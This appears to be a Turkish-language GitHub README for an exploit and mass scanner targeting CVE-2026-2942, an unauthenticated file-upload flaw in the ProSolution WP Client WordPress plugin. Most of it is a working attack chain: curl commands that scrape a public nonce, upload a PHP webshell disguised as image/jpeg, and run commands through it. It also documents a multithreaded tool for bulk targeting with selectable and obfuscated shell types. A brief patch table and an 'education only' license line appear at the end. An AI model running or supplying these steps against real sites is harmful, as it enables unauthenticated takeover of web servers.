xxconi/CVE-2026-2942

GitHub: xxconi/CVE-2026-2942

Stars: 0 | Forks: 0

# ProSolution WP Client — Unauthenticated File Upload & RCE Scanner ## 📌 Zafiyet Hakkında ProSolution WP Client eklentisinin `proSol_fileUploadProcess` AJAX action'ı, yüklenen dosyaların **MIME tipini kontrol eder ancak uzantıyı doğrulamaz.** Saldırgan `.php` uzantılı bir dosyayı `image/jpeg` MIME tipiyle göndererek sunucuya **kimlik doğrulaması olmadan webshell yükleyebilir.** ### Saldırı Zinciri [prosolfrontend] shortcode sayfası │ ▼ 1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez) │ ▼ 2. POST /wp-admin/admin-ajax.php action=proSol_fileUploadProcess security= files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing │ ▼ 3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir │ ▼ 4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id │ ▼ 5. uid=33(www-data) → Unauthenticated RCE ✓ ## 🧪 Proof of Concept (Manuel) ### Ön Koşullar - WordPress kurulu ve `prosolution-wp-client` eklentisi aktif (sürüm <= 1.9.9) - `[prosolfrontend]` shortcode içeren yayınlanmış bir WordPress sayfası ### Adım 1 — Nonce Çekme `[prosolfrontend]` shortcode içeren herhangi bir public sayfayı ziyaret edin ve `prosolObj.nonce` değerini kaynak koddan çıkarın: TARGET="https://target.example.com" NONCE=$(curl -s "$TARGET/jobs" \ | grep -oP '"nonce"\s*:\s*"\K[^"]+') echo "Extracted nonce: $NONCE" Kaynak kodda aranacak yapı: ### Adım 2 — PHP Webshell Oluşturma echo '' > /tmp/shell.php ### Adım 3 — MIME Spoofing ile Yükleme `.php` dosyasını `image/jpeg` Content-Type ile gönder: curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \ -F "action=proSol_fileUploadProcess" \ -F "security=$NONCE" \ -F "files[]=@/tmp/shell.php;type=image/jpeg" \ | python3 -m json.tool Beklenen yanıt: { "files": [ { "name": "shell.php", "size": 31, "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php", "newfilename": "a3f8b2c1d9e4f7g2.php", "rename_status": true, "extension": "php" } ] } ### Adım 4 — RCE Tetikleme SHELL_FILE="a3f8b2c1d9e4f7g2.php" # Adım 3'teki newfilename curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id" Beklenen çıktı: uid=33(www-data) gid=33(www-data) groups=33(www-data) **✅ Unauthenticated RCE achieved.** ## 🛠️ Otomatik Tarayıcı Kurulumu git clone https://github.com/kullanici/prosol-upload-scanner cd prosol-upload-scanner pip install -r requirements.txt **requirements.txt** requests ## 🚀 Kullanım ### Tekil Hedef python prosol_upload.py -u http://hedef.com ### Shell Doğrulama ile python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami" ### Toplu Tarama python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt ### Proxy ile (Burp Suite) python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080 ### Özel Shell Tipi python prosol_upload.py -u http://hedef.com --shell-type full ## ⚙️ Parametreler | Parametre | Kısa | Açıklama | Varsayılan | |---|---|---|---| | `--url` | `-u` | Tekil hedef URL | — | | `--list` | `-l` | Hedef listesi dosyası | — | | `--threads` | `-t` | Thread sayısı | `10` | | `--output` | `-o` | Çıktı dosyası | `uploaded.txt` | | `--shell-name` | — | Yüklenecek dosya adı | `shell.php` | | `--shell-type` | — | Shell tipi | `system` | | `--verify` | — | Yükleme sonrası RCE testi | `False` | | `--verify-cmd` | — | Doğrulama komutu | `id` | | `--proxy` | — | Proxy URL | — | | `--timeout` | — | İstek timeout (sn) | `10` | ## 💀 Shell Tipleri | Tip | Payload | Açıklama | |---|---|---| | `system` | `` | Temel sistem komutu | | `passthru` | `` | Ham çıktı | | `exec` | `` | Sessiz çalıştırma | | `assert` | `` | POST ile eval | | `b64` | `` | Base64 obfuscation | | `full` | shell_exec + system + exec fallback | Tam kapsamlı shell | ## 📂 Shell Yükleme Konumu WordPress Kök/ └── wp-content/ └── uploads/ └── prosolwpclient/ └── [random_hex].php ← Shell burada ## 📊 Tarayıcı Çıktı Durumları | Durum | Açıklama | |---|---| | `★ UPLOADED` | Shell başarıyla yüklendi | | `✓ RCE OK` | Shell doğrulandı, komut çalıştı | | `- BLOCKED` | Sunucu PHP uzantısını engelledi | | `~ TIMEOUT` | Bağlantı zaman aşımı | | `~ CONN_ERR` | Bağlantı hatası | | `! HTTP_ERR` | HTTP hata kodu | ## 🖥️ Örnek Tarayıcı Çıktısı ## 🛡️ Savunma / Yama | Önlem | Uygulama | |---|---| | PHP execution engeli | `uploads/` dizinine `.htaccess` ekle | | Eklenti güncellemesi | Sürüm > 1.9.9'a yükselt veya kaldır | | Uzantı whitelist | Sunucu tarafında yalnızca izin verilen uzantılar | | MIME doğrulama | `finfo_file()` ile gerçek içerik kontrolü | | WAF kuralı | `.php` yükleme isteklerini engelle | Deny from all ## ⚠️ Yasal Uyarı ## 📄 Lisans MIT License — Yalnızca eğitim ve araştırma amaçlıdır.